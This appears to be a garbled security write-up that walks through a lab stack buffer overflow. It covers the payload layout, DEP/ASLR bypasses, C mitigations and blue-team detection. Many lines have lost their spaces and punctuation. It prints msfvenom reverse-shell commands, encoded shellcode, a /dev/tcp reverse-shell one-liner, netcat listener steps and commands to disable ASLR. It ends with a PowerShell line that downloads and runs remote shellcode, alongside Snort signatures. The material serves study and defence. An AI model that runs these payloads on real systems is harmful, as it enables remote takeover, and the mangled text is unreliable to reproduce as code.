encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
